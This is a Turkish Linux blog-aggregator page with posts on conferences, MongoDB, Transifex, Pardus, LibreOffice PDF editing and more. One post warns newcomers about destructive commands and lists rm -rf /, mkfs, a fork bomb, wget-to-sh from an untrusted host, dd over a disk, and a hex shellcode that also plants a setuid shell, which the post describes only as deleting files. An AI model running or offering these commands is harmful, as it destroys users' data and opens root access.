Archive for category Linux

Nermin Canik: 2. Türkiye PostgreSql Konferansı

2. Türkiye PostgreSql Konferansı öyle birkaç cümle ile geçiştirilmeyi hak etmeyen bir etkinlik aslında. Lakin öğrencilik hayatımın en güzel (!) dönemlerinden birinde olduğumdan (projeler, ödevler, finallere ramak kalması..) uzun uzun yazmaya ne yazık ki zaman yok...

Şahane bir gün için etkinlik komitesinin tamamına, sonra o günden geriye kalan armağanlar adına da sponsorlara teşekkür etmek için en azından birkaç cümle olsun yazayım dedim.

O vakit, seneye olacak 3. Türkiye PostgreSql Konferansı için bir şekilde zaman yaratmalı, yine yeniden İstanbul'a gitmeli, keyifle, merakla sunumları dinlemeli, aralarda dağıtılan naneli soğuk limonatalardan keyifle yudumlamalı diyelim. :)

No Comments

Cagri Ersen: CentOS Üzerine MongoDB Kurulumu

"MongoDB Logo"
MongoDB, C++ ile geliştirilen yüksek performanslı ve ölçeklendirilebilir, açık kaynak kodlu bir NoSQL veritabanıdır. Hemen tüm *nix sistemlerde çalıştırılabilen MongoDB’nin RHEL tabanlı dağıtımlar için bir yum reposu, Debian tabanlı sistemler için ise deb reposu bulunuyor. Dolayısı ile ilgili sistemlerin paket yöneticileri üzerinden kurulumunu kolayca yapabiliyorsunuz. (Ayrıca paket olarak kurmak istemezseniz compiled sürümünü de çalıştırabiliyorsunuz.)

Ben mongoDB’yi üzerinde çalıştırıyorum; yazının devamında da 5.8 üzerine mongodb yum deposunu kullanarak kurulumun nasıl yapıldığına değineceğim.


Devamini okuyun: CentOS Üzerine MongoDB Kurulumu


Cagri Ersen tarafından Syslogs adresinde yayınlandı. | Permalink | Etiketler: , ,

, ,

No Comments

Sabri Ünsal: Yolculuk ve Linux

21 Gündür Anadolu’nun gitmediğim bütün köşelerine ufak da olsa selam gönderiyorum.

Yokluğumda Linux dünyası da uslu durmuyor.

Apache OpenOffice 3.4 sürümü yayınlanmış. OpenOffice/LibreOffice ayrışmasında OpenOffice cephesinden ilk sürüm; bakalım daha neler göreceğiz.

RMS (Richard M. Stallman) şu habere göre hastalanmış ve çeşitli etkinliklerini iptal etmek zorunda kalmış. Tanrı acil şifalar versin.

Firefox kaç çıktı, şu an 14a2 diyen alfa/aurora sürümünü kullanıyorum. Firefox 13 ile büyük hız artışlarından bahsediliyor.

Bir 10-15 gün daha yollarda yorulduktan sonra İstanbul’a döneceğiz. O zamana kadar bize müsade.

No Comments

Necdet Yücel: Özgür yazılım yerelleştirme platformu: Transifex

Zamanında H.İbrahim Güngör'ün Pardus çevirileri için kurup yapılandırdığı Transifex'i bugünlerde yeniden keşfediyorum. Transifex kendi ihtiyaçlarınız için kurup kullanabilmesinin yanında kendi adresinden de kullanılabilen bir proje. Bu aralar pek severek kullandığım için hakkında kısaca yazmak istiyorum.

Transifex 2008'de Google Summer Of Code projelerinden biri olarak ortaya çıkıyor ve şimdi sadece sekiz kişi tarafından geliştirilen çok büyük bir özgür yazılım yerelleştirme platformu haline geliyor. Katkı vermek için kayıt olmak ve ya google, twitter, facebook ve linkedin hesaplarınızdan biriyle giriş yapmak gerekiyor. 2011 rakamlarıyla 2000 özgür yazılım projesini barındıran, 10000 kullanıcısı olan, 5000000'dan fazla kelimenin çevrildiği ve 30000000'dan fazla insana ulaştığı düşünülen dev bir platform olan Transifex'ten iki türlü faydalanmak mümkün. Kendi projenizi eklemeniz durumunda kayıtlı çevirmenlerin desteğiyle çoklu dil desteğini genişletebileceğiniz gibi (ücretli çeviri yapan çevirmenler de bulunduğundan daha önce neler yaptıklarına bakarak işinizi onlara yaptırma seçeneğiniz de var) siz de diğer projelerin çevirilerine destek olabilirsiniz.

Ben Transifex'te ne yaptığımdan bahsedersem ayrıntıları daha kolay anlatacağım galiba. Özelllikle çevirisine katkıda bulunmak istediğim bir proje yoksa rasgele projelere bakıyorum Türkçe desteği var mı diye. Eğer %100 Türkçe çevirisi varsa şansımı başka bir projede deniyorum. Kısmi bir çeviri varsa burada iki farklı durum olabiliyor. Bazı projelerin çeviri grupları oluyor, bunlara katılmak için talepte bulunmak gerekiyor. Projeye ilk dil desteğini eklemek için başvurmuş kişi grubun yöneticisi olduğundan genellikle kısa sürede onay alınıyor. Bazı projeler ise böyle bir mekanizmayı da kullanmıyor ve her isteyene çevirme yetkisi tanıyor. Böyle bir projeye rastlayınca hemen çevirmeye başlayabiliyorum. Eğer projenin Türkçe çevirisi hiç yoksa projenin yukarıda bahsettiğim politikasına bağlı olarak ya yeni dil için izin istemek gerekiyor ya da izin istemeden kendim oluşturuyorum Türkçe çeviriyi.

Bütün çeviri işlerinde olduğu gibi Transifex kullanırken de :
  • Emin olmadığınız yerleri çevirmemeyi,
  • Çevirinin ciddi bir iş olduğunu,
  • Hatalı çevirinin hiç çeviri olmamasından çok daha kötü olduğunu,
  • Çevirdiğiniz metinleri insanların okuyacağınını
akıldan çıkarmamak gerekiyor.

    Transifex'teki projelerin arasında çok kapsamlı olanlar olduğu gibi çok küçük çeviri dosyaları olanlar da var. Yarım saatlik gayretle bir projeye ne kadar katkı verebildiğinizi görünce siz de eminim çok mutlu olacaksınız.

    No Comments

    A. Hamdi Özcan: Chrome’a sertifika otoritesi ekleyelim

    Bir sertifika otoritesinden hizmet almıyorsanız, pek çok kullanıcı sunucunuzun ürettiği sertifikayı güvenilir sertifika otoritesi olarak eklemek isteyecektir. Windows ve Mac OS X istemcilerde sertifika dosyasını indirip yüklemeniz yeterli olacaktır.

    Linux istemcilerde, Mozilla Firefox ve Chrome bir NSS (Network Security Services) kullanmayıp, otorite sertifikalarını kendi özel alanlarında saklamakta. Sertifikaları eklemek için sistem arayüzü bulunmuyordu fakat Chrome’un yeni versiyonlarında böyle bir arayüz kullanılmaya başlandı. İndirdiğiniz sertifikayı güvenilir otorite olarak eklemek için şu adımları izleyebilirsiniz;

    Settings > Under the Hood > HTTPS/SSL > Manage Certificates

    Authorities sekmesinden import tuşuna tıklayarak istediğiniz sertifikayı ekleyebilirsiniz.

    No Comments

    Uğurcan Ergün: Tehlikeli Linux Komutları

    Geçenlerde Zeki Bildirici'nin Google+'da paylaştığı orjinalini bu adreste bulabileceğiniz Mitesh Shah tarafından yazılmış bir girdiye rastladım. Hoşuma gitti ve sosyal medya akışında kaybolmaması için bloguma aktarmak istedim. Aktarırken de bir katkım olsun diye tercüme edesim geldi. Fazla gevezelik etmeden sizi yazıyla baş başa bırakayım. 

    Eğer Linux'ta yeniyseniz, İnternette forumlarda veya IRC 'de dosyalarınıza veya işletim sistemine zarar
    verecek komutları çalıştırmanız için sizi kandıracak bazı geri zekalı insanlara denk gelme ihtimaliniz vardır. Aşağıda bu tehlikeli senaryodan kaçınmak için uzak durmanız gereken bazı tehlikeli Linux komutlarından bahsedeceğim.

    1. Komut 

    rm -rf /

    Bu komut herhangi bir uyarı mesajı vermeden kök dizinin içindeki bütün dosyaları silecektir.



    rm normalde konsol üzerinde dosya silmek için kullandığımız bir komuttur. Ve normalde silmek istiyor musunuz şeklinde bir uyarı verir ama -f (force) parametresi bu uyarıyı ezer ve doğrudan silme işlemini uygular. -r (recursively) parametresi de bütün alt klasörleriyle birlikte sil anlamına gelir. 


    2. Komut

    char esp[] _attribute_ ((section(".text"))) /* e.s.p
    release */
    = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
    "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
    "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
    "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
    "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
    "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
    "\x6e\x2f\x73\x68\x00\x2d\x63\x00"
    "cp -p /bin/sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;";


    Bu komut rm -rf / yazmanın başka bir yoludur. Hex formatında olduğu için tecrübeli Linux kullanıcılarını bile yanıltabilir.

    3. Komut

    mkfs.ext3 /dev/sda
    Bu komut sabit diski biçimlendirir yani bütün dosyalarınızı kaybedersiniz. mkfs.ext3 verilen disk veya disk bölümünü ext3 formatında biçimlendir anlamına gelir. /dev/sda ise ana/birincil sabit disk anlamına gelir. Örneğin /dev/sda2 ana sabit diskin sadece bir bölümünü tarif eder.

    4. Komut

    :(){:|:&};:

    Linux camiasında fork bomb olarak da adlandırılan bir kabuk betiğidir. Sonsuz adet process başlatarak işletim sistemini kilitlemeyi amaçlar ve genelde veri kaybı ile sonuçlanır.

    5. Komut
    herhangi_bir_komut > /dev/sda

    Bu komut ham verinin bir cihaza yazılmasına sebep olur. Genellikle dosya sisteminin üzerine yazacağı için veri kaybıyla sonuçlanır.

    6. Komut

    wget http://some_untrusted_source O | sh


    Güvenilmeyen kaynaklardan indirme yapmayın ve bu kaynaklardan gelen kodları çalıştırmayın. Bu kodu size veren kişi kendi zararlı kodunu çalıştırmanızı istiyor olabilir.

    7. Komut

    mv ~/* /dev/null
    mv /home/evdizininiz/* /dev/null


    Bu komut dosyalarınızı /dev/null adındaki farazi bir konuma taşır yani dosyalarınızı tamamen kaybedersiniz.

    8.Komut

    dd if=/dev/urandom of=/dev/sda


    Bu komut diskinize veya disk bölümünüze rastgele bilgiler yazar. dd komutu günlük hayatta bir taşınabilir belleğe bir disk kalıbı (işletim sistemi kalıbı vs.) yazmak vs. işlerde kullanabilir.

    9. Komut

    chmod -R 777 /

    Bu komut herhangi bir veriye erişim haklarını değiştirerek. Bilgisayar üzerindeki herkese okuma-yazma ve çalıştırma haklarını verir. 

    10. Komut

    chmod 000 -R /
    chown nobody:nobody -R /

    Bu komut herhangi bir veriye erişim haklarını değiştirerek onu root haricindeki herkes için erişilmez kılar.

    No Comments

    Zeki Bildirici: Pardus “Sıfırı Tüketti”

    Son birkaç günde yaşanan ayrılıklarla, TÜBİTAK’ta Pardus projesinde çalışan hiç kimse kalmamış. Kalan birkaç kişi ise diğer projelere geçmiş…

    Şu anda Pardus projesinde TÜBİTAK tarafında çalışan geliştirici yok.

    Ne denir bilemiyorum… Çok yazdım, yazdınız… Ben artık yazmaktan sıkıldım..

    Nedir durum dersek:

    • Proje Ankara’ya taşınacak, ama hiç geliştiricisi yok.
    • Çalıştay üzerinden 2 ay geçti, hiç hareket yok.
    • Güç bela giden bir seçimle topluluk yöneticisi olarak sevgili Sezai Yeniay’ı seçtik.
    • Diğer temsilcilerle ilgili bir gelişme var mı bilmiyorum
    • Topluluktan arkadaşlar büyük özveriyle paketleri güncellemeye devam ediyor… Yarın bir süpriz yapıp kendi güncellemeleri olan “2012.3 Anka”yı çıkarmak niyetindeler. Ama  nedir, nereye kadar iş görür bilemiyorum.
    • Ne eski gelişttiriciler, ne de camia olarak bir çatal yapamadık. Hatta Pardus’a sahip çıkmayı dahi beceremedik.
    • Çatal için teknik bilgi beceri ve organizasyon kabiliyetine sahip kişiler sustu. Bizse kullanıcı olarak elimizden gelemeyen şeyleri yapamadık.
    • Son 7 ayda yaşanan tasfiye sürecinde, onca geliştirici ayrıldı ama daha “Neden” ayrıldıklarıyla ilgili ortaklaşa doğru düzgün bir açıklama olmadı.
    • Bu kadar gönül ve emek vermiş kişi bu olaylar karşısında “Dünyayı Yakacakken” kabullenmenin sessizliğiyle susup kaldılar. Özellikle Pardus yaşarken agresifçe onu savunan, toplulukla kavga etmekten geri durmayanların bu sessizlikteki naiflikleri ayrı bir mesele…
    • Bu saatten sonra bir şey olur mu dersek, beklemeyin…

    Öyle işte… Pardus fiilen ölmüştür. Özgür yazılım camiaları ölülerin küllerinden doğacak projeleri gerçekleştirebilir elbette… Ama buralarda ben böyle bir camia bilmiyorum.

    Emeği geçen herkese teşekkürler…

    Bu trajediye sebebiyet verenleri de eminim yarın Devrim  ve Kayseri Tayyare Fabrikası olaylarındaki gibi anılacaklardır.

    Anmak neyi değiştiriyorsa…

    İlgili Diğer Başlıklar:

    1. Pardus İçin Susma!
    2. Pardus’un Yarını Çalıştayı
    3. Çatal mı? Devir mi?

    No Comments

    K. Deniz Öğüt: Eski Genelkurmay Başkanı Özkök’ün Windows ve Gmail uyarısı

    win_gmail_istihbarat11 Mayıs 2012 tarihinde Hürriyet’te yayınlanan AA mahreçli habere göre, eski genelkurmay başkanı emekli orgeneral Hilmi Özkök “Türkiye’de milli işletim sistemi olmadığı için yabancı işletim sistemi kullanmak zorunda kalındığını” belirtti ve şunları söyledi:

    “Mesela Windows gibi. ABD istihbaratının Windows’tan bazı açık kapılar bırakmasını istemeyeceğinden emin miyiz?. Mutlaka yaparken, ‘birkaç kapı bırakın oradan sisteme gireyim’ diyecek. Mesela Google’u düşünün. Herkesin bir Gmail hesabı var. Benim de var. Türkiye’de ben Genelkurmay Başkanlığı yapmış bir kişiyim. Google hesabındaki tüm bilgiler ABD’deki Serverlerda saklanıyor. İstediğiniz kadar hafıza kullan diyor. Bütün bilgiler orada. Açıp bakmaz mı ne oluyor, kimler ne yazıyor. Bunların bilincinde olarak onu kullanmamız lazım.”

    No Comments

    Zeki Bildirici: LibreOffice’de PDF düzenlemek

    İş yaşamında PDF biçimindeki dosyaları düzenleyebilmek büyük nimet, kolaylık…

    Sürekli gelen taslak metinler, sözleşmeler, yazılar, bildirimler, sunumlar ve aklınıza gelebilecek birçok belge PDF(Portable Document Format) biçiminde dolaşmakta. Size gönderilen PDF biçimindeki belge üzerinde çalışmak, genel PDF okuyucunuzla yapamayacağınız bir iş. Çoğu zaman da gerekli…

    Öyle ki işe ilk başladığımda, gelen PDF belgelerini döktürür, üzerine elle düzeltmeleri  ve notları yazardık, bu kağıdı taratıp ilgili kişilere tarama görüntüsü olarak gönderirdik. Gayet ilkel ve işe yarar bir yöntem… Fakat profesyonel mi? Tabiki de hayır :)

    Mevcut belgelerinizi PDF’ye dönüştürmek kolay. Hatırlıyorum da PDF’ye dönüştürüp gönderdiğim PDF’in düzenlenmiş ve üzerine not alınmış şekilde “Jilet” gibi bana geri geldiğinde çok şaşırmıştım. “Vay arkadaş, adamlara bak…” demiştim. Oysa bu yapmak çok da büyük marifet değilmiş.

    LibreOffice ile belgelerinizi ofis yazılımın içerisinden, bir eklentiye veya dış bir yazılıma ihtiyaç duymadan doğrudan PDF olarak dışa aktarabildiğiniz gibi aynı şekilde PDF dosyalarınızı Draw(Çizim) bileşeni içerisinde aktarıp bu dosyalarınızı düzenleyebilirsiniz.

    Akşama, yarın akşama veya haftaya -yani müsait olduğum bir zaman- LibreOffice’de PDF düzenlemekle ilgili bir video çekeceğim.

    LibreOffice’de PDF dosyalarını nasıl düzenleyebiliyoruz dersek, basitçe şöyle:

    LibreOffice Draw(Çizim) ile PDF dosyasını açın. Draw bileşeni menüsünden “ ”komutuyla yapabileceğiniz gibi, dosyaay sağ tıkladığınızda “Birlikte Aç…” komutuyla LibreOffice’in herhangi bir bileşenini seçtiğinizde PDF belgesi Draw bileşeninde açılacaktır. Açıldıktan sonra PDF belgesini çizim belgesi gibi düzenleyin, not alın, açılır not ekleyin, altını çizin, şema ekleyin, resim ekleyin ne isterseniz onu ekleyin… Dosyayı daha sonra yine düzenleyebilmek isterseniz odg çizim dosyası olarak kaydedebilirsiniz.

    Bu işlemleri yaptıktan sonra dosyayı PDF olarak dışa alktarmak için iki seçeneğiniz var:

    1- Araç çubuğundaki PDF simgesi: Bu şekilde dosyayı doğrudan PDF olarak dışa aktarabilirsiniz. Yalnız bu simge bir kolaylaştırıcı/hızlandırıcı olduğundan dışa aktarmayla ilgili ayarları bu yolu kullanarak yapılandıramamaktasınız. PDF’yi yorumlarla birlikte dışa aktarmak için ikinci yöntemi kullanınız.

    2- “Dosya->PDF Olarak Dışa Aktar” yolu: Bu yolla, PDF dosyasıyla ilgili ayarları yapılandırabilirsiniz.

    Burada birçok ayar bulunmakta, ama şimdilik püf nokta olan “Yorumları Dışa Aktar” seçeneğini vurgulamak istiyorum. Bu seçenek sayesinde, belgeye eklediğiniz “Açılır Notlar” PDF çıktısında da görünmekte. (Nedenini bügün işyerinde tecrübe ettim).

    LibreOffice PDF dışa aktarma ayarları

    LibreOffice PDF dışa aktarma ayarları

    Size gönderilen ve üzerinde; işaretleme, düzeltme, not alma ve ekleme yaptığınız PDF dosyalarını  “Dosya->PDF Olarak Dışa Aktar” yoluyla dönüştürünüz. ( LibreOffice hibrit bir PDF dosyası oluşturacaktır, bu dosya ODF ve PDFnin hibritifdir) Ben denedim, Adobe Reader’da bile şahane açıldı :)

    Kurumsal kullanıcıların/kullanıcı adaylarının dikkatine: Bu işi yapabilecek bir üçüncü parti yazılım ve bunun kurumsal kullanım maliyeti, bu ek yazılımın kurulumu kullanımı vb faktörleri de ihmal etmeyin.

    Bu bile bilgisayarına LibreOffice kurmanız, kurmak istemeseniz bile bir kenarda Taşınabilir LibreOffice bulundurmanız için bir neden :)

    Bu seçenekle açılacak iletişim kutucuğundaki diğer harika seçenekleri anlatmaya gerek yok. Malum, çeviri çalışmalarımız sayesinde anlayabildiğimiz anadilimizde, yani Türkçe :)

    Bu küçük ipucunu tecrübe edince Twitter’dan paylayaşım dedim, sonra bunu yapmamın kimseye bir faydası olmayacağını düşünüp bu günlük girdisini yazmaya karar verdim. iyi de ettim sanırım. Daha geniş anlatımda, kolay ulaşılabilir, herkes tarafından görülebilir, daha fazla kanaldan paylaşılabilir ve en önemlisi belki Google’dan bu ilşi nasıl yapacağını arayan insanlara faydası dokunur. Twitter: 0 – Günlük: 1!

    Mutlu günler.

    İlgili Diğer Başlıklar:

    1. LibreOffice’de PDF İmzalamak: Başarılar Gökçen Hocam
    2. LibreOffice Kitapları Yayımlandı!
    3. Taşınabilir LibreOffice: Büyük Nimet!

    No Comments

    Ali Erkan İmrek: Youtube videosu eklenen SDN foruma kapatma kararı

    Ülkemizdeki elektronik yasaklama uygulamasının son örneğini az önce ağzım açık okudum. Bir üyesi tarafından forumda bir youtube videosu paylaşılan SDN forum, Müyap tarafından şikayet edilmiş ve mahkeme SDN forum sunucularının kapatılmasına karar vermiş!* Evet, video Youtube sunucusunda, kapatılan SDN forum, üstelik bağlantı 15 dakikada kaldırılmış olduğu halde.

    Üzerinde yorum yapabilmek için mantıklı bir şeyler aradım ama bulamadım. Umarım sanatçılar "böyle saçmalık olmaz" diyerek Müyap yönetimini uyarırlar. 


    No Comments